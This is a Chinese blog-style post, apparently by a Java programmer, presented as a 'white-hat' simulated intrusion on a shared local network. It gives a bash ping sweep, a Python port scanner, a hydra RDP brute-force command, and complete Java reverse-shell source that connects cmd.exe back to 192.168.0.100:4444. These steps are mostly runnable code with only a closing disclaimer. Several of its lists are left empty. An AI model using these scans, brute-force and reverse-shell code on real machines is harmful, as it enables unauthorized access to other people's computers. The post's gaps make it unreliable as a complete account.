梦三国手游公益服
3.49G · 2025-11-16
我是一名写了 8 年 Java 的普通程序员。
某天在公司茶水间,听到同事在吐槽:“我邻居家电脑老是自动开机,难不成是被黑了?”
我心里一惊,突然萌生了一个念头:
于是我开始了这趟“白帽式”的模拟入侵之旅。
我们不是 NSA,没法直接看到对方的公网 IP。但在一个局域网里,比如办公室、合租房、共享 WiFi 网络,这就变得简单多了。
最基础的方式就是用一个简单的 Ping 扫描脚本:
for i in {1..254}; do
ping -c 1 192.168.0.$i | grep "64 bytes" &
done
有了目标 IP,下一步当然是扫端口。
我们可以用 nmap,也可以自己写个小脚本,比如 Python + socket:
import socket
target_ip = '192.168.0.103'
for port in [22, 23, 80, 443, 3389, 5900]: # SSH, Telnet, HTTP, HTTPS, RDP, VNC
s = socket.socket()
s.settimeout(0.5)
try:
s.connect((target_ip, port))
print(f"[+] Port {port} is OPEN")
except:
pass
s.close()
你可能以为自己的电脑很安全,但你设的密码可能是:
123456adminpassword你的生日你的英文名123我们可以用最简单的爆破脚本尝试登陆远程桌面,比如用 hydra:
hydra -t 4 -V -f -l admin -P weak_passwords.txt rdp://192.168.0.103
或者用 Python 写个简版的 RDP 登录测试(自动化工具库如 freerdp、rdpy):
你以为到这里就结束了吗?不!我们可以:
甚至可以通过 Java 写个反向 shell:
import java.io.*;
import java.net.*;
public class ReverseShell {
public static void main(String[] args) throws Exception {
Socket s = new Socket("192.168.0.100", 4444);
Process p = new ProcessBuilder("cmd.exe").redirectErrorStream(true).start();
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read());
while (pe.available() > 0) so.write(pe.read());
while (si.available() > 0) po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
}
p.destroy();
s.close();
}
}
你以为的“入侵”:
真实的“入侵”可能只是:
这篇文章并不是教大家去做非法的事情,而是站在一个“可能成为攻击者”的视角,来理解我们软件开发者、普通用户、甚至系统管理员的常见疏忽。
安全从来不是一个高深的领域,而是一个细节决定成败的游戏。